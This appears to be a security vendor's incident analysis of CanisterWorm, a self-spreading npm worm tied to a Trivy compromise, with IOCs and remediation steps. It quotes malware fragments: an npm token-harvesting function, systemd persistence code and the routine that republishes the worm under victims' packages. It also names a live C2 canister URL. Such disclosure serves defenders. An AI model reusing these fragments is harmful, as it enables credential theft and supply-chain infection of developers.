Table of contents
CanisterWorm: The Self-Spreading npm Attack That Uses a Decentralized Server to Stay Alive
On March 20, 2026 at 20:45 UTC, Aikido Security detected an unusual pattern across the npm registry: dozens of packages from multiple organizations were receiving unauthorized patch updates, all containing the same hidden malicious code. What they had caught was CanisterWorm, a self-spreading npm worm deployed by the threat actor group TeamPCP.
We track this incident as MSC-2026-3271.
CanisterWorm is explicitly designed to target Linux systems. Once installed, it plants a persistent backdoor that survives reboots using systemd, the standard Linux service manager, and connects to a command-and-control server built on the Internet Computer Protocol (ICP), a decentralized blockchain network. Because ICP has no single host or provider, the C2 infrastructure cannot be taken down through a conventional takedown request, making CanisterWorm the first publicly documented npm worm to use this technique.
Important: While the persistent backdoor is Linux-only, the credential theft (Stage 1) and worm propagation (Stage 4) components execute on any platform. npm tokens on macOS and Windows machines are equally at risk of theft and abuse.
The worm affected more than 50 packages across multiple npm scopes, including @EmilGroup, @opengov, @teale.io, @airtm, and @pypestream. Any developer or CI/CD pipeline that installed one of these packages also had its own npm credentials stolen and potentially used to spread the worm further through their own packages.
This post covers a technical breakdown of the attack, including the malware behavior, attribution to the threat actor, and some IOC’s.
Background: How TeamPCP Got the Keys
CanisterWorm did not begin with npm. The credentials that seeded the initial infection wave were stolen hours earlier through a separate, high-impact supply chain attack on Trivy, Aqua Security’s widely-used open-source vulnerability scanner.
TeamPCP exploited a GitHub Actions misconfiguration involving a pull_request_target workflow that exposed a Personal Access Token (PAT). Using that stolen token, the attacker force-pushed malicious commits over 75 of 76 version tags on aquasecurity/trivy-action and 7 tags on aquasecurity/setup-trivy, effectively replacing the legitimate scanner with a credential harvester across thousands of CI/CD pipelines that ran that day.
The Trivy payload operated in three stages: enumerate secrets from the environment and filesystem, encrypt them, and silently exfiltrate them. What it collected included SSH keys, AWS and cloud provider credentials, database passwords, Kubernetes tokens, Docker configs, and npm authentication tokens. Those npm tokens became the launch pad for CanisterWorm less than 24 hours later.
This cascading structure, where one compromised tool becomes the credential source for a second, broader attack, is what makes TeamPCP’s campaign notable beyond the individual techniques involved.
Technical Analysis of the CanisterWorm
Stage 1: The Postinstall Hook That Runs on Every Install
When you run npm install, npm automatically runs any script defined in a package’s postinstall field before the install completes. CanisterWorm abuses this standard feature to execute malicious code on the developer’s machine or CI/CD runner without any additional action required.
The postinstall entry in compromised package.json files pointed to index.js, which is the worm’s first-stage loader.
{
"scripts": {
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
}Figure 1: The postinstall trigger in compromised package.json files.
The first thing index.js does is collect every npm authentication token it can find on the machine. It checks three places: .npmrc configuration files (in the home directory, current directory, and /etc/npmrc), environment variables matching patterns like NPM_TOKEN and NPM_TOKENS, and the live npm configuration via npm config get.
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) tokens.add(m[1].trim());
}
} catch (_) {}
}
}
Figure 2: npm token harvesting searches .npmrc files, environment variables, and live npm config
Stage 2: The Persistent Python Backdoor That Survives Reboots
Once index.js has collected tokens, it installs a persistent backdoor on the host.
The loader decodes a base64-encoded Python script embedded in the package and writes it to ~/.local/share/pgmon/service.py. It then creates a systemd user service (a standard Linux mechanism for running background processes) at ~/.config/systemd/user/pgmon.service and immediately enables and starts it. This requires no administrator (root) access, which makes it harder to detect.
The name pgmon is intentional: it is designed to look like a PostgreSQL monitoring tool to anyone inspecting running services.
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
Figure 3: Systemd user service created by the loader for persistent backdoor execution
The Python backdoor itself implements several techniques to avoid detection:
- Sandbox evasion: It waits 5 minutes before doing anything on first run. Many automated malware analysis sandboxes time out before this delay expires.
- Low-frequency polling: It only checks for new instructions every ~50 minutes (3,000 seconds), making it harder to spot in network traffic.
- Browser impersonation: It spoofs a browser User-Agent header when making network requests.
- State tracking: It stores the last-fetched payload URL in /tmp/.pg_state to avoid re-executing the same payload on repeated polls.
Stage 3: The ICP Canister C2
This is where CanisterWorm breaks new ground. Rather than communicating with a conventional web server (which can be seized, blocked, or taken offline), the Python backdoor polls an ICP canister for its instructions.
ICP (Internet Computer Protocol) is a decentralized blockchain network. A “canister” is a piece of code deployed on that network that runs autonomously. There is no single company or host that controls it, and it cannot be taken down through a conventional hosting provider takedown request. This makes it significantly more resilient than traditional C2 infrastructure.
The canister exposes three methods: get_latest_link (retrieve the current payload URL), http_request (serve that URL to the backdoor), and update_link (let the attacker rotate to a new payload without touching the infected packages). This means TeamPCP can change what executes on infected machines at any time, without republishing any npm package.
- Canister ID: tdtqy-oyaaa-aaaae-af2dq-cai
- C2 URL: https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/
The backdoor downloads the URL returned by the canister, saves the binary to /tmp/pglog, and executes it. The attacker built in a kill-switch: if the returned URL contains youtube.com, the backdoor skips execution. At the time of discovery, the canister was returning a YouTube link, meaning the final payload stage was dormant but fully operational infrastructure was in place across infected machines.
Stage 4: The Self-Propagating Worm Component
The scripts/deploy.js component is what transforms this from a credential-stealing backdoor into a worm. A worm spreads itself automatically. A developer who installs an infected package and has npm credentials on their machine becomes an unwitting spreader, infecting their own packages without any knowledge or action on their part.
deploy.js is launched as a completely detached background process after token harvesting. It then works through each stolen token:
- Authenticates with the npm registry to resolve the token’s associated username
- Queries the npm search API to enumerate every package that user has publish access to
- For each package, fetches the real README and latest published version from the registry
- Bumps the patch version number (e.g., 1.8.11 becomes 1.8.12)
- Temporarily overwrites the local package.json with the target package’s name and bumped version
- Publishes the entire worm package under the victim’s package name with –tag latest
- Restores the original package.json and README locally, leaving no obvious traces
async function deployWithToken(token, pkg, pkgPath, newVersion) {
const whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
const username = whoami.username;
const ownedPackages = await getOwnedPackages(username, token);
for (const packageName of ownedPackages) {
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); // restore
}
}
Figure 4: Worm propagation publishes the malicious package under each victim’s owned package names
Publishing with --tag latest means that any project running npm install package-name without pinning an exact version will automatically receive the infected version. The version bump makes the infected release appear to be a normal maintenance update.
Impact Analysis
The worm’s design creates an exponential infection surface. Every developer machine or CI/CD pipeline that installs an infected package and has a stored npm token becomes a new propagation vector. Their packages get infected, their downstream users install those packages, and if any of those users have tokens, the cycle continues.
Because npm tokens are routinely stored in CI/CD environments, .npmrc files, and environment variables as standard developer workflow, the attack has a very high credential harvest rate in any professional software development environment.
The ICP-based C2 means that even after infected packages are removed from the registry, any machines that ran the postinstall hook retain a persistent, polling backdoor that will execute whatever payload the attacker rotates into the canister. Package removal from npm does not remediate infected hosts.
Indicators of Compromise
Filesystem Artifacts
| Path | Description |
|---|---|
| ~/.local/share/pgmon/service.py | Persistent Python backdoor |
| ~/.config/systemd/user/pgmon.service | Systemd user service |
| /tmp/pglog | Downloaded payload binary |
| /tmp/.pg_state | Payload URL state tracking file |
Network Indicators
- hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/ (ICP C2 canister)
- hxxps://registry[.]npmjs[.]org/-/whoami (token validation)
- hxxps://registry[.]npmjs[.]org/-/v1/search?text=maintainer: (package enumeration)
File Hashes (SHA-256)
E9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926
F398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956
Detection and Remediation
Immediate: Check for Active Infection
Check whether the systemd backdoor service is installed and running:
systemctl --user status pgmon.service
ls -la ~/.local/share/pgmon/
ls -la ~/.config/systemd/user/pgmon.service
ls -la /tmp/pglog /tmp/.pg_state
Figure 5: Commands to detect the pgmon backdoor service and associated file
If any of these exist, the host ran a compromised package’s postinstall hook. Treat all credentials on that machine as compromised.
Remediation: Remove the Backdoor
systemctl --user stop pgmon.service
systemctl --user disable pgmon.service
rm -f ~/.config/systemd/user/pgmon.service
rm -rf ~/.local/share/pgmon/
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload
Figure 6: Service removal and filesystem cleanup for infected hosts
Critical: Rotate All npm Credentials
Any npm token present on the machine (in .npmrc, environment variables, or cached npm config) must be treated as stolen and revoked immediately. Log in to npmjs.com and revoke all existing tokens, then issue new ones. If the machine runs CI/CD workloads, rotate credentials in every pipeline that runs on that runner.
Audit any npm packages published from that machine or token in the 48 hours surrounding the infection window for unauthorized version bumps.
Attribution
TeamPCP is assessed to be a cloud-focused cybercriminal operation with demonstrated capability across GitHub Actions exploitation, npm registry abuse, and credential harvesting at scale. The Trivy attack and CanisterWorm campaign were executed within a 24-hour window, and the npm tokens harvested from the Trivy compromise directly seeded the initial wave of infections.
The code in CanisterWorm is assessed by researchers to have been developed rapidly with AI assistance. It is not obfuscated, and the logic is written explicitly and readably. The attacker prioritized speed of development and spread over stealth.
The group’s choice of ICP for C2 reflects deliberate infrastructure planning: the decentralized architecture was chosen specifically for its resistance to conventional takedown. This level of operational consideration, combined with the cascading multi-platform attack design, places TeamPCP above opportunistic script-kiddie activity.
Conclusion
CanisterWorm represents a meaningful escalation in npm supply chain attacks. Self-spreading worms that propagate through developer credentials have been theorized for years; CanisterWorm puts the concept into practice with working code that was actively spreading in the wild. The use of a decentralized ICP canister for C2 eliminates the single takedown point that typically limits a campaign’s longevity.
The Trivy-to-npm pipeline also illustrates how a single compromised CI/CD tool can become a credential feeder for a much broader attack. Organizations that use Trivy for vulnerability scanning in their pipelines should treat any tokens present in those environments between March 19 and March 21, 2026, as potentially compromised.
Mend.io will continue monitoring for CanisterWorm activity and further TeamPCP campaigns.